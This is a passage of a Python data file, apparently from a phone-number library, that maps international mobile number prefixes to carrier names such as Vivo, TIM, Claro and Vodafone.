'Claro'}, '503705':{'en': 'Claro'}, '503704':{'en': 'Claro'}, '503709':{'en': 'Claro'}, '503708':{'en': 'Claro'}, '1242802':{'en': 'aliv'}, '1242803':{'en': 'aliv'}, '551899774':{'en': 'Vivo'}, '1242801':{'en': 'aliv'}, '1242806':{'en': 'aliv'}, '1242807':{'en': 'aliv'}, '1242804':{'en': 'aliv'}, '1242805':{'en': 'aliv'}, '1242808':{'en': 'aliv'}, '1242809':{'en': 'aliv'}, '551899778':{'en': 'Vivo'}, '551899779':{'en': 'Vivo'}, '551598131':{'en': 'TIM'}, '551598132':{'en': 'TIM'}, '551598133':{'en': 'TIM'}, '551598134':{'en': 'TIM'}, '551598135':{'en': 'TIM'}, '551598136':{'en': 'TIM'}, '551598138':{'en': 'TIM'}, '551598139':{'en': 'TIM'}, '370686':{'en': 'Omnitel'}, '370687':{'en': 'Omnitel'}, '370684':{'en': 'Tele 2'}, '370685':{'en': u('BIT\u0116')}, '370682':{'en': 'Omnitel'}, '370683':{'en': 'Tele 2'}, '370680':{'en': 'Omnitel'}, '370681':{'en': u('BIT\u0116')}, '507656':{'en': u('Telef\u00f3nica M\u00f3viles')}, '370688':{'en': 'Omnitel'}, '370689':{'en': u('BIT\u0116')}, '553499951':{'en': 'Telemig Celular'}, '553499952':{'en': 'Telemig Celular'}, '553499953':{'en': 'Telemig Celular'}, '553499954':{'en': 'Telemig Celular'}, '553499955':{'en': 'Telemig Celular'}, '553499956':{'en': 'Telemig Celular'}, '507658':{'en': u('Telef\u00f3nica M\u00f3viles')}, '553499958':{'en': 'Telemig Celular'}, '553499959':{'en': 'Telemig Celular'}, '553199212':{'en': 'TIM'}, '30688500':{'en': 'BWS'}, '554598822':{'en': 'Claro BR'}, '554198751':{'en': 'Claro BR'}, '554198750':{'en': 'Claro BR'}, '554198752':{'en': 'Claro BR'}, '55119577':{'en': 'Vivo'}, '553199213':{'en': 'TIM'}, '554598821':{'en': 'Claro BR'}, '55199986':{'en': 'Vivo'}, '55199987':{'en': 'Vivo'}, '55199984':{'en': 'Vivo'}, '55199985':{'en': 'Vivo'}, '55199982':{'en': 'Vivo'}, '55199983':{'en': 'Vivo'}, '55199980':{'en': 'Vivo'}, '55199981':{'en': 'Vivo'}, '55199988':{'en': 'Vivo'}, '553599188':{'en': 'TIM'}, '51829827':{'en': 'Claro'}, '25563':{'en': 'MTC'}, '25562':{'en': 'Viettel'}, '25567':{'en': 'tiGO'}, '25566':{'en': 'SMILE'}, '25565':{'en': 'tiGO'}, '25564':{'en': 'Cootel'}, '25569':{'en': 'Airtel'}, '25568':{'en': 'Airtel'}, '1939339':{'en': 'SunCom Wireless Puerto Rico'}, '1939334':{'en': 'Claro'}, '3465329':{'en': 'DIA'}, '55129881':{'en': 'Oi'}, '49151':{'en': 'T-Mobile'}, '4473683':{'en': 'Sky'}, '4473682':{'en': 'Sky'}, '4473680':{'en': 'Teleena'}, '50370719':{'en': 'Tigo'}, '50370715':{'en': 'Tigo'}, '50370714':{'en': 'Tigo'}, '50370717':{'en': 'Claro'}, '50370716':{'en': 'Movistar'}, '50370711':{'en': 'Movistar'}, '50370710':{'en': 'Claro'}, '50370713':{'en': 'Tigo'}, '50370712':{'en': 'Claro'}, '553799102':{'en': 'TIM'}, '554898419':{'en': 'Brasil Telecom GSM'}, '554898418':{'en': 'Brasil Telecom GSM'}, '554898414':{'en': 'Brasil Telecom GSM'}, '553299146':{'en': 'TIM'}, '37360':{'en': 'Orange'}, '554898416':{'en': 'Brasil Telecom GSM'}, '551799748':{'en': 'Vivo'}, '551799749':{'en': 'Vivo'}, '551799746':{'en': 'Vivo'}, '551799747':{'en': 'Vivo'}, '37368':{'en': 'Orange'}, '37369':{'en': 'Orange'}, '551799742':{'en': 'Vivo'}, '551799743':{'en': 'Vivo'}, '551799741':{'en': 'Vivo'}, '30695410':{'en': 'MI Carrier Services'}, '346016':{'en': 'Lcrcom'}, '346017':{'en': 'Vodafone'}, '346014':{'en': 'Vodafone'}, '346015':{'en': 'HITS'}, '346012':{'en': 'Vodafone'}, '346013':{'en': 'Vodafone'}, '346010':{'en': 'Vodafone'}, '346011':{'en': 'Vodafone'}, '554499162':{'en': 'Vivo'}, '554499163':{'en': 'Vivo'}, '554499161':{'en': 'Vivo'}, '554499166':{'en': 'Vivo'}, '554499167':{'en': 'Vivo'}, '554499164':{'en': 'Vivo'}, '554499165':{'en': 'Vivo'}, '554499168':{'en': 'Vivo'}, '554499169':{'en': 'Vivo'}, '552899935':{'en': 'Vivo'}, '552899939':{'en': 'Vivo'}, '552899938':{'en': 'Vivo'}, '551499116':{'en': 'Claro BR'}, '551499117':{'en': 'Claro BR'}, '551499114':{'en': 'Claro BR'}, '551499115':{'en': 'Claro BR'}, '551499112':{'en': 'Claro BR'}, '551499113':{'en': 'Claro BR'}, '551499111':{'en': 'Claro BR'}, '551999627':{'en': 'Vivo'}, '551499118':{'en': 'Claro BR'}, '551499119':{'en': 'Claro BR'}, '553898412':{'en': 'Claro BR'}, '553898413':{'en': 'Claro BR'}, '553898411':{'en': 'Claro BR'}, '553898416':{'en': 'Claro BR'}, '553898417':{'en': 'Claro BR'}, '553898414':{'en': 'Claro BR'}, '553898415':{'en': 'Claro BR'}, '553898418':{'en': 'Claro BR'}, '551999624':{'en': 'Vivo'}, '447419':{'en': 'Orange'}, '1671878':{'en': 'Choice Phone'}, '447410':{'en': 'Orange'}, '447411':{'en': 'Three'}, '447412':{'en': 'Three'}, '447413':{'en': 'Three'}, '447414':{'en': 'Three'}, '447415':{'en': 'EE'}, '447416':{'en': 'Orange'}, '554699915':{'en': 'TIM'}, '554699914':{'en': 'TIM'}, '554699917':{'en': 'TIM'}, '554699916':{'en': 'TIM'}, '554699911':{'en': 'TIM'}, '554699913':{'en': 'TIM'}, '554699912':{'en': 'TIM'}, '554699919':{'en': 'TIM'}, '554699918':{'en': 'TIM'}, '479650':{'en': 'Telenor'}, '456050':{'en': 'Telenor'}, '474625':{'en': 'Telenor'}, '474624':{'en': 'Telenor'}, '474627':{'en': 'Telenor'}, '474626':{'en': 'Telenor'}, '474621':{'en': 'Telenor'}, '474623':{'en': 'NetCom'}, '551499830':{'en': 'Vivo'}, '552198414':{'en': 'Oi'}, '552198415':{'en': 'Oi'}, '552198416':{'en': 'Oi'}, '552198417':{'en': 'Oi'}, '551799739':{'en': 'Vivo'}, '552198412':{'en': 'Oi'}, '552198413':{'en': 'Oi'}, '551499832':{'en': 'Vivo'}, '552198418':{'en': 'Oi'}, '1473424':{'en': 'Digicel Grenada'}, '554699126':{'en': 'Vivo'}, '3866555':{'en': 'Telekom Slovenije'}, '549349':{'en': 'Personal'}, '549348':{'en': 'Personal'}, '23244':{'en': 'Intergroup'}, '549340':{'en': 'Personal'}, '549343':{'en': 'Personal'}, '549342':{'en': 'Personal'}, '23240':{'en': 'Datatel/Cellcom'}, '549344':{'en': 'Personal'}, '549347':{'en': 'Personal'}, '549346':{'en': 'Personal'}, '5541999':{'en': 'TIM'}, '1284368':{'en': 'Digicel'}, '5541996':{'en': 'TIM'}, '551298181':{'en': 'TIM'}, '551298182':{'en': 'TIM'}, '55449910':{'en': 'Vivo'}, '552799253':{'en': 'Claro BR'}, '552799252':{'en': 'Claro BR'}, '552799251':{'en': 'Claro BR'}, '552799257':{'en': 'Claro BR'}, '552799256':{'en': 'Claro BR'}, '552799255':{'en': 'Claro BR'}, '552799254':{'en': 'Claro BR'}, '552799259':{'en': 'Claro BR'}, '552799258':{'en': 'Claro BR'}, '24391':{'en': 'Africell'}, '552198308':{'en': 'TIM'}, '552198309':{'en': 'TIM'}, '553199166':{'en': 'TIM'}, '553599132':{'en': 'TIM'}, '552198306':{'en': 'TIM'}, '45402':{'en': 'TDC'}, '45403':{'en': 'TDC'}, '45401':{'en': 'TDC'}, '45406':{'en': 'Telenor'}, '45407':{'en': 'Telenor'}, '45404':{'en': 'TDC'}, '45405':{'en': 'Telenor'}, '1787546':{'en': 'SunCom Wireless Puerto Rico'}, '45408':{'en': 'Telenor'}, '1787544':{'en': 'CENTENNIAL'}, '551599142':{'en': 'Claro BR'}, '551599143':{'en': 'Claro BR'}, '554399125':{'en': 'Vivo'}, '551599141':{'en': 'Claro BR'}, '551599146':{'en': 'Claro BR'}, '551599147':{'en': 'Claro BR'}, '551599144':{'en': 'Claro BR'}, '551599145':{'en': 'Claro BR'}, '551599148':{'en': 'Claro BR'}, '551599149':{'en': 'Claro BR'}, '2537':{'en': 'Evatis'}, '554399129':{'en': 'Vivo'}, '554399128':{'en': 'Vivo'}, '552798122':{'en': 'TIM'}, '552798123':{'en': 'TIM'}, '552798121':{'en': 'TIM'}, '552798126':{'en': 'TIM'}, '552798127':{'en': 'TIM'}, '552798124':{'en': 'TIM'}, '552798125':{'en': 'TIM'}, '552798128':{'en': 'TIM'}, '552798129':{'en': 'TIM'}, '554799933':{'en': 'TIM'}, '2348439':{'en': 'Starcomms'}, '2348438':{'en': 'Starcomms'}, '2348434':{'en': 'Starcomms'}, '2348437':{'en': 'Starcomms'}, '2348431':{'en': 'Starcomms'}, '479815':{'en': 'NetCom'}, '3584559':{'en': 'MI'}, '3584558':{'en': 'Suomen Virveverkko'}, '479749':{'en': 'Telenor'}, '479748':{'en': 'Telenor'}, '3584550':{'en': 'Suomen Virveverkko'}, '479747':{'en': 'Telenor'}, '479746':{'en': 'Telenor'}, '479217':{'en': 'NetCom'}, '479740':{'en': 'Telenor'}, '3584557':{'en': 'Compatel'}, '479742':{'en': 'Telenor'}, '48691':{'en': 'Plus'}, '48692':{'en': 'T-Mobile'}, '48693':{'en': 'Plus'}, '48694':{'en': 'T-Mobile'}, '48695':{'en': 'Plus'}, '48696':{'en': 'T-Mobile'}, '48697':{'en': 'Plus'}, '48698':{'en': 'T-Mobile'}, '551898137':{'en': 'TIM'}, '474190':{'en': 'NetCom'}, '551898136':{'en': 'TIM'}, '551499164':{'en': 'Claro BR'}, '30690100':{'en': 'MI Carrier Services'}, '44759':{'en': 'O2'}, '44754':{'en': 'O2'}, '44756':{'en': 'O2'}, '44751':{'en': 'O2'}, '29729':{'en': 'Digicel'}, '24398':{'en': 'Zain'}, '2413':{'en': 'Libertis'}, '4476600':{'en': 'Plus'}, '4476606':{'en': '24 Seven'}, '1264583':{'en': 'Digicel'}, '1264582':{'en': 'Digicel'}, '1264581':{'en': 'Digicel'}, '4476607':{'en': 'Premium O'}, '1264584':{'en': 'Digicel'}, '554199132':{'en': 'Vivo'}, '1345516':{'en': 'Digicel'}, '554199131':{'en': 'Vivo'}, '554199136':{'en': 'Vivo'}, '552298138':{'en': 'TIM'}, '554199134':{'en': 'Vivo'}, '1345517':{'en': 'Digicel'}, '554199138':{'en': 'Vivo'}, '552298139':{'en': 'TIM'}, '553199847':{'en': 'Telemig Celular'}, '552298136':{'en': 'TIM'}, '553199846':{'en': 'Telemig Celular'}, '552298137':{'en': 'TIM'}, '552298134':{'en': 'TIM'}, '552298135':{'en': 'TIM'}, '554599961':{'en': 'TIM'}, '552298132':{'en': 'TIM'}, '212619':{'en': u('M\u00e9ditel')}, '212617':{'en': u('M\u00e9ditel')}, '212614':{'en': u('M\u00e9ditel')}, '212612':{'en': u('M\u00e9ditel')}, '552198359':{'en': 'TIM'}, '552198358':{'en': 'TIM'}, '552198357':{'en': 'TIM'}, '552198356':{'en': 'TIM'}, '552198355':{'en': 'TIM'}, '552198354':{'en': 'TIM'}, '552198353':{'en': 'TIM'}, '552198352':{'en': 'TIM'}, '552198351':{'en': 'TIM'}, '553199848':{'en': 'Telemig Celular'}, '553199382':{'en': 'TIM'}, '553199383':{'en': 'TIM'}, '553199381':{'en': 'TIM'}, '553199386':{'en': 'TIM'}, '553199387':{'en': 'TIM'}, '553199384':{'en': 'TIM'}, '553199385':{'en': 'TIM'}, '553199388':{'en': 'TIM'}, '553199389':{'en': 'TIM'}, '551998215':{'en': 'TIM'}, '551998214':{'en': 'TIM'}, '551998217':{'en': 'TIM'}, '551998216':{'en': 'TIM'}, '551998211':{'en': 'TIM'}, '551998213':{'en': 'TIM'}, '551998212':{'en': 'TIM'}, '4479245':{'en': 'Cloud9'}, '551998219':{'en': 'TIM'}, '551998218':{'en': 'TIM'}, '551598805':{'en': 'Oi'}, '551598806':{'en': 'Oi'}, '551598807':{'en': 'Oi'}, '553499814':{'en': 'Telemig Celular'}, '553499936':{'en': 'Telemig Celular'}, '553499937':{'en': 'Telemig Celular'}, '553499934':{'en': 'Telemig Celular'}, '553499935':{'en': 'Telemig Celular'}, '553499932':{'en': 'Telemig Celular'}, '553499933':{'en': 'Telemig Celular'}, '553499931':{'en': 'Telemig Celular'}, '553499938':{'en': 'Telemig Celular'}, '553499939':{'en': 'Telemig Celular'}, '514494907':{'en': 'Claro'}, '514494906':{'en': 'Movistar'}, '514494905':{'en': 'Movistar'}, '514494904':{'en': 'Movistar'}, '514494903':{'en': 'Movistar'}, '514494902':{'en': 'Movistar'}, '514494901':{'en': 'Movistar'}, '514494900':{'en': 'Movistar'}, '516596534':{'en': 'Claro'}, '514494909':{'en': 'Claro'}, '514494908':{'en': 'Claro'}, '554299982':{'en': 'TIM'}, '2346437':{'en': 'Starcomms'}, '230529':{'en': 'MTML'}, '554299981':{'en': 'TIM'}, '230525':{'en': 'Cellplus'}, '2346439':{'en': 'Starcomms'}, '2346438':{'en': 'Starcomms'}, '51669669':{'en': 'Movistar'}, '51669668':{'en': 'Movistar'}, '551899754':{'en': 'Vivo'}, '551899755':{'en': 'Vivo'}, '51669667':{'en': 'Claro'}, '51669666':{'en': 'Movistar'}, '554699123':{'en': 'Vivo'}, '551899751':{'en': 'Vivo'}, '551899752':{'en': 'Vivo'}, '551899753':{'en': 'Vivo'}, '4476598':{'en': 'Vodafone'}, '4476599':{'en': 'PageOne'}, '553599168':{'en': 'TIM'}, '553599169':{'en': 'TIM'}, '553599162':{'en': 'TIM'}, '4476591':{'en': 'Vodafone'}, '4476592':{'en': 'PageOne'}, '4476593':{'en': 'Vodafone'}, '4476594':{'en': 'Vodafone'}, '4476595':{'en': 'Vodafone'}, '4476596':{'en': 'Vodafone'}, '553599165':{'en': 'TIM'}, '454298':{'en': 'Telia'}, '454299':{'en': 'Telia'}, '454292':{'en': '3'}, '454293':{'en': 'CBB Mobil'}, '454290':{'en': 'Mundio Mobile'}, '2341804':{'en': 'Starcomms'}, '454296':{'en': 'Telia'}, '454297':{'en': 'Telia'}, '454294':{'en': '3'}, '454295':{'en': '3'}, '42373':{'en': 'Telecom Liechtenstein'}, '42374':{'en': 'First Mobile'}, '42377':{'en': 'Swisscom'}, '42379':{'en': 'Telecom Liechtenstein'}, '42378':{'en': 'Salt'}, '554599968':{'en': 'TIM'}, '554799634':{'en': 'TIM'}, '552499924':{'en': 'Vivo'}, '552499925':{'en': 'Vivo'}, '552499920':{'en': 'Vivo'}, '552499921':{'en': 'Vivo'}, '552499922':{'en': 'Vivo'}, '552499923':{'en': 'Vivo'}, '19392416':{'en': 'Claro'}, '19392415':{'en': 'Claro'}, '19392414':{'en': 'Claro'}, '19392413':{'en': 'Claro'}, '19392412':{'en': 'Claro'}, '19392411':{'en': 'Claro'}, '19392410':{'en': 'Claro'}, '22997':{'en': 'MTN'}, '551799765':{'en': 'Vivo'}, '22995':{'en': 'Moov'}, '22994':{'en': 'Moov'}, '22993':{'en': 'BLK'}, '551799761':{'en': 'Vivo'}, '551799762':{'en': 'Vivo'}, '22990':{'en': 'Libercom'}, '3584941':{'en': 'Ukkoverkot'}, '24106':{'en': 'Libertis'}, '24107':{'en': 'Airtel'}, '22999':{'en': 'Moov'}, '22998':{'en': 'Moov'}, '45617':{'en': 'TDC'}, '346039':{'en': 'Lebara'}, '1787376':{'en': 'Claro'}, '45614':{'en': 'TDC'}, '45613':{'en': 'TDC'}, '1787371':{'en': 'Claro'}, '1787372':{'en': 'Claro'}, '346031':{'en': 'Lebara'}, '346032':{'en': 'Lebara'}, '346033':{'en': 'Lebara'}, '346034':{'en': 'Vodafone'}, '346035':{'en': 'Vodafone'}, '346036':{'en': 'Vodafone'}, '45618':{'en': 'Telenor'}, '551197018':{'en': 'TIM'}, '551197019':{'en': 'TIM'}, '552899959':{'en': 'Vivo'}, '552899958':{'en': 'Vivo'}, '551197012':{'en': 'TIM'}, '551197013':{'en': 'TIM'}, '552899957':{'en': 'Vivo'}, '551197011':{'en': 'TIM'}, '551197016':{'en': 'TIM'}, '551197017':{'en': 'TIM'}, '551197014':{'en': 'TIM'}, '551197015':{'en': 'TIM'}, '55319999':{'en': 'Telemig Celular'}, '55319998':{'en': 'Telemig Celular'}, '55319997':{'en': 'Telemig Celular'}, '55319996':{'en': 'Telemig Celular'}, '55319995':{'en': 'Telemig Celular'}, '551499138':{'en': 'Claro BR'}, '551499134':{'en': 'Claro BR'}, '551499135':{'en': 'Claro BR'}, '551499136':{'en': 'Claro BR'}, '551499137':{'en': 'Claro BR'}, '551499131':{'en': 'Claro BR'}, '551499132':{'en': 'Claro BR'}, '551499133':{'en': 'Claro BR'}, '2345277':{'en': 'Starcomms'}, '2345278':{'en': 'Starcomms'}, '2345279':{'en': 'Starcomms'}, '552798144':{'en': 'TIM'}, '447470':{'en': 'Vodafone'}, '447471':{'en': 'Vodafone'}, '552798145':{'en': 'TIM'}, '479552':{'en': 'Telenor'}, '479555':{'en': 'Telenor'}, '234528':{'en': 'Starcomms'}, '552798143':{'en': 'TIM'}, '554499148':{'en': 'Vivo'}, '554499149':{'en': 'Vivo'}, '554499141':{'en': 'Vivo'}, '554499142':{'en': 'Vivo'}, '554499143':{'en': 'Vivo'}, '554499144':{'en': 'Vivo'}, '554499145':{'en': 'Vivo'}, '554499146':{'en': 'Vivo'}, '554499147':{'en': 'Vivo'}, '447699':{'en': 'Vodafone'}, '447693':{'en': 'O2'}, '554299155':{'en': 'Vivo'}, '55119709':{'en': 'Vivo'}, '553599843':{'en': 'Telemig Celular'}, '553599842':{'en': 'Telemig Celular'}, '507161':{'en': 'Cable & Wireless'}, '553599845':{'en': 'Telemig Celular'}, '553898432':{'en': 'Claro BR'}, '553898433':{'en': 'Claro BR'}, '553898434':{'en': 'Claro BR'}, '553898435':{'en': 'Claro BR'}, '553898436':{'en': 'Claro BR'}, '553599844':{'en': 'Telemig Celular'}, '549362':{'en': 'Personal'}, '549364':{'en': 'Personal'}, '553599846':{'en': 'Telemig Celular'}, '553199175':{'en': 'TIM'}, '552299238':{'en': 'Claro BR'}, '552299239':{'en': 'Claro BR'}, '552299236':{'en': 'Claro BR'}, '552299237':{'en': 'Claro BR'}, '552299234':{'en': 'Claro BR'}, '23221':{'en': 'Sierratel'}, '552299232':{'en': 'Claro BR'}, '516596599':{'en': 'Movistar'}, '23225':{'en': 'Sierratel'}, '553799143':{'en': 'TIM'}, '553799141':{'en': 'TIM'}, '553799146':{'en': 'TIM'}, '553799147':{'en': 'TIM'}, '553199174':{'en': 'TIM'}, '553799145':{'en': 'TIM'}, '50844':{'en': 'Globaltel'}, '50840':{'en': 'Globaltel'}, '50842':{'en': 'Equant'}, '50843':{'en': 'Equant'}, '1284300':{'en': 'Digicel'}, '553199787':{'en': 'Telemig Celular'}, '549332':{'en': 'Personal'}, '2347784':{'en': 'Starcomms'}, '347277':{'en': 'Vodafone'}, '4478927':{'en': 'O2'}, '4478926':{'en': 'O2'}, '22177':{'en': 'Orange'}, '4478924':{'en': 'O2'}, '4478923':{'en': 'O2'}, '22170':{'en': 'Expresso'}, '4478921':{'en': 'Vectone Mobile'}, '4478920':{'en': 'HSL'}, '553199719':{'en': 'Telemig Celular'}, '22179':{'en': 'ADIE'}, '22178':{'en': 'Orange'}, '4478929':{'en': 'O2'}, '4478928':{'en': 'O2'}, '25772':{'en': 'Leo'}, '25771':{'en': 'Leo'}, '25776':{'en': 'Leo'}, '25777':{'en': 'Onatel'}, '25775':{'en': 'Smart Mobile'}, '25778':{'en': 'Smart Mobile'}, '25779':{'en': 'Leo'}, '553199717':{'en': 'Telemig Celular'}, '554299919':{'en': 'TIM'}, '553199173':{'en': 'TIM'}, '24828':{'en': 'Airtel'}, '24825':{'en': 'CWS'}, '553199711':{'en': 'Telemig Celular'}, '24827':{'en': 'Airtel'}, '24826':{'en': 'CWS'}, '553199344':{'en': 'TIM'}, '346931':{'en': 'Orange'}, '346933':{'en': 'Carrefour'}, '346932':{'en': 'MasMovil'}, '346935':{'en': 'MasMovil'}, '553199713':{'en': 'Telemig Celular'}, '346937':{'en': 'MasMovil'}, '553199712':{'en': 'Telemig Celular'}, '553199343':{'en': 'TIM'}, '1787569':{'en': 'CENTENNIAL'}, '1787568':{'en': 'SunCom Wireless Puerto Rico'}, '553199172':{'en': 'TIM'}, '554399149':{'en': 'Vivo'}, '554399148':{'en': 'Vivo'}, '1787561':{'en': 'CENTENNIAL'}, '45421':{'en': 'Telia'}, '1787563':{'en': 'CENTENNIAL'}, '45423':{'en': 'Telia'}, '45424':{'en': 'BiBoB'}, '45425':{'en': 'BiBoB'}, '45426':{'en': '3'}, '551599167':{'en': 'Claro BR'}, '447999':{'en': 'O2'}, '447990':{'en': 'Vodafone'}, '386651':{'en': u('S\u017d - Infrastruktura')}, '554299119':{'en': 'Vivo'}, '554299118':{'en': 'Vivo'}, '474049':{'en': 'NetCom'}, '474048':{'en': 'NetCom'}, '474045':{'en': 'NetCom'}, '474047':{'en': 'NetCom'}, '474046':{'en': 'NetCom'}, '554299115':{'en': 'Vivo'}, '553199821':{'en': 'Telemig Celular'}, '554299117':{'en': 'Vivo'}, '554299116':{'en': 'Vivo'}, '479837':{'en': 'NetCom'}, '551798154':{'en': 'TIM'}, '551798155':{'en': 'TIM'}, '551798156':{'en': 'TIM'}, '551798151':{'en': 'TIM'}, '551798152':{'en': 'TIM'}, '551798153':{'en': 'TIM'}, '44778':{'en': 'Vodafone'}, '44773':{'en': 'O2'}, '44772':{'en': 'O2'}, '44771':{'en': 'O2'}, '44777':{'en': 'Vodafone'}, '44776':{'en': 'Vodafone'}, '554498402':{'en': 'Brasil Telecom GSM'}, '554498403':{'en': 'Brasil Telecom GSM'}, '554498401':{'en': 'Brasil Telecom GSM'}, '554498406':{'en': 'Brasil Telecom GSM'}, '554498407':{'en': 'Brasil Telecom GSM'}, '421908':{'en': 'Orange'}, '421909':{'en': 'Juro'}, '421906':{'en': 'Orange'}, '421907':{'en': 'Orange'}, '421904':{'en': 'Telekom'}, '421905':{'en': 'Orange'}, '421902':{'en': 'Telekom'}, '421903':{'en': 'Telekom'}, '421901':{'en': 'Telekom'}, '551899713':{'en': 'Vivo'}, '5521975':{'en': 'Claro BR'}, '2348011':{'en': 'Megatech'}, '2348010':{'en': 'Megatech'}, '407018':{'en': 'Lycamobile'}, '407019':{'en': 'Lycamobile'}, '407013':{'en': 'Lycamobile'}, '407014':{'en': 'Lycamobile'}, '407015':{'en': 'Lycamobile'}, '407016':{'en': 'Lycamobile'}, '407017':{'en': 'Lycamobile'}, '479497':{'en': 'Telenor'}, '479498':{'en': 'Telenor'}, '553199632':{'en': 'Telemig Celular'}, '553199633':{'en': 'Telemig Celular'}, '553199631':{'en': 'Telemig Celular'}, '553199636':{'en': 'Telemig Celular'}, '553199637':{'en': 'Telemig Celular'}, '553199634':{'en': 'Telemig Celular'}, '551598113':{'en': 'TIM'}, '1767315':{'en': 'Digicel'}, '1767316':{'en': 'Digicel'}, '1767317':{'en': 'Digicel'}, '554599924':{'en': 'TIM'}, '1758384':{'en': 'Cable & Wireless'}, '553199208':{'en': 'TIM'}, '551999697':{'en': 'Vivo'}, '551999694':{'en': 'Vivo'}, '1242424':{'en': 'BaTelCo'}, '1242425':{'en': 'BaTelCo'}, '1242426':{'en': 'BaTelCo'}, '1242427':{'en': 'BaTelCo'}, '1242421':{'en': 'BaTelCo'}, '1242422':{'en': 'BaTelCo'}, '1242423':{'en': 'BaTelCo'}, '212630':{'en': 'Inwi'}, '212631':{'en': u('M\u00e9ditel')}, '212632':{'en': u('M\u00e9ditel')}, '212633':{'en': 'Inwi'}, '1242428':{'en': 'BaTelCo'}, '212635':{'en': 'Inwi'}, '212636':{'en': 'Maroc Telecom'}, '212637':{'en': 'Maroc Telecom'}, '552198335':{'en': 'TIM'}, '552198334':{'en': 'TIM'}, '552198337':{'en': 'TIM'}, '552198336':{'en': 'TIM'}, '552198331':{'en': 'TIM'}, '552198333':{'en': 'TIM'}, '552198332':{'en': 'TIM'}, '552198339':{'en': 'TIM'}, '552198338':{'en': 'TIM'}, '5532987':{'en': 'Oi'}, '5532986':{'en': 'Oi'}, '554199118':{'en': 'Vivo'}, '554199119':{'en': 'Vivo'}, '554199111':{'en': 'Vivo'}, '554199112':{'en': 'Vivo'}, '554199113':{'en': 'Vivo'}, '554199114':{'en': 'Vivo'}, '554199115':{'en': 'Vivo'}, '554199116':{'en': 'Vivo'}, '554199117':{'en': 'Vivo'}, '553499918':{'en': 'Telemig Celular'}, '553499919':{'en': 'Telemig Celular'}, '553499914':{'en': 'Telemig Celular'}, '553499915':{'en': 'Telemig Celular'}, '553499916':{'en': 'Telemig Celular'}, '553499917':{'en': 'Telemig Celular'}, '553499911':{'en': 'Telemig Celular'}, '553499912':{'en': 'Telemig Celular'}, '553499913':{'en': 'Telemig Celular'}, '5535988':{'en': 'Oi'}, '5535989':{'en': 'Oi'}, '517297271':{'en': 'Claro'}, '517297270':{'en': 'Claro'}, '517297273':{'en': 'Claro'}, '517297272':{'en': 'Claro'}, '5535985':{'en': 'Oi'}, '5535986':{'en': 'Oi'}, '5535987':{'en': 'Oi'}, '230544':{'en': 'Emtel'}, '230548':{'en': 'Emtel'}, '230549':{'en': 'Emtel'}, '553399199':{'en': 'TIM'}, '553399198':{'en': 'TIM'}, '553399191':{'en': 'TIM'}, '553399193':{'en': 'TIM'}, '553399197':{'en': 'TIM'}, '553599141':{'en': 'TIM'}, '553599142':{'en': 'TIM'}, '553599143':{'en': 'TIM'}, '553599144':{'en': 'TIM'}, '553599145':{'en': 'TIM'}, '553599146':{'en': 'TIM'}, '553599147':{'en': 'TIM'}, '553599148':{'en': 'TIM'}, '553599149':{'en': 'TIM'}, '551197968':{'en': 'Claro BR'}, '551197969':{'en': 'Claro BR'}, '458141':{'en': 'Simpl Telecom'}, '458146':{'en': 'Mundio Mobile'}, '458147':{'en': 'Mundio Mobile'}, '458145':{'en': 'Telavox'}, '458148':{'en': 'Mundio Mobile'}, '458149':{'en': 'Mundio Mobile'}, '5544999':{'en': 'TIM'}, '2763':{'en': 'MTN'}, '2762':{'en': 'Cell C'}, '2761':{'en': 'Cell C'}, '3584944':{'en': 'DNA'}, '551197974':{'en': 'Oi'}, '21192':{'en': 'MTN'}, '21191':{'en': 'Zain'}, '21197':{'en': 'Gemtel'}, '21195':{'en': 'Vivacell'}, '553199199':{'en': 'TIM'}, '553199198':{'en': 'TIM'}, '553199197':{'en': 'TIM'}, '553199196':{'en': 'TIM'}, '553199195':{'en': 'TIM'}, '553199194':{'en': 'TIM'}, '553199193':{'en': 'TIM'}, '553199192':{'en': 'TIM'}, '553199191':{'en': 'TIM'}, '24120':{'en': 'Libertis'}, '24121':{'en': 'Libertis'}, '24122':{'en': 'Libertis'}, '24123':{'en': 'Libertis'}, '24124':{'en': 'Libertis'}, '24125':{'en': 'Libertis'}, '24126':{'en': 'Libertis'}, '24127':{'en': 'Libertis'}, '30695328':{'en': 'Premium Net International'}, '1787359':{'en': 'SunCom Wireless Puerto Rico'}, '1787357':{'en': 'CENTENNIAL'}, '1787355':{'en': 'CENTENNIAL'}, '26878':{'en': 'Swazi MTN'}, '26879':{'en': 'Swazi MTN'}, '551197032':{'en': 'TIM'}, '551197033':{'en': 'TIM'}, '551197034':{'en': 'TIM'}, '551197035':{'en': 'TIM'}, '551197036':{'en': 'TIM'}, '551197037':{'en': 'TIM'}, '551197038':{'en': 'TIM'}, '552899979':{'en': 'Vivo'}, '552899978':{'en': 'Vivo'}, '26876':{'en': 'Swazi MTN'}, '26877':{'en': 'SPTC'}, '554199215':{'en': 'Vivo'}, '51449485':{'en': 'Movistar'}, '51449484':{'en': 'Movistar'}, '51449486':{'en': 'Movistar'}, '51449483':{'en': 'Claro'}, '51449482':{'en': 'Claro'}, '51449489':{'en': 'Movistar'}, '51449488':{'en': 'Movistar'}, '1242636':{'en': 'BaTelCo'}, '554299144':{'en': 'Vivo'}, '19392439':{'en': 'Claro'}, '19392438':{'en': 'Claro'}, '19392435':{'en': 'Claro'}, '19392434':{'en': 'Claro'}, '19392437':{'en': 'Claro'}, '19392436':{'en': 'Claro'}, '19392433':{'en': 'Claro'}, '447458':{'en': 'Gamma Telecom'}, '447459':{'en': 'Lycamobile'}, '447457':{'en': 'Vectone Mobile'}, '517497956':{'en': 'Movistar'}, '447451':{'en': 'Vectone Mobile'}, '447452':{'en': 'Manx Telecom'}, '26269313':{'en': 'SFR'}, '26269311':{'en': 'Orange'}, '26269310':{'en': 'SFR'}, '518298298':{'en': 'Movistar'}, '479536':{'en': 'Telenor'}, '234818':{'en': '9mobile'}, '38039':{'en': 'Golden Telecom'}, '554299912':{'en': 'TIM'}, '554299915':{'en': 'TIM'}, '554299914':{'en': 'TIM'}, '554299917':{'en': 'TIM'}, '554299916':{'en': 'TIM'}, '234810':{'en': 'MTN'}, '234811':{'en': 'Glo'}, '234812':{'en': 'Airtel'}, '234813':{'en': 'MTN'}, '234814':{'en': 'MTN'}, '234815':{'en': 'Glo'}, '234816':{'en': 'MTN'}, '234817':{'en': '9mobile'}, '554499128':{'en': 'Vivo'}, '554499129':{'en': 'Vivo'}, '554499126':{'en': 'Vivo'}, '554499127':{'en': 'Vivo'}, '554499124':{'en': 'Vivo'}, '34676':{'en': 'Movistar'}, '554499122':{'en': 'Vivo'}, '554499123':{'en': 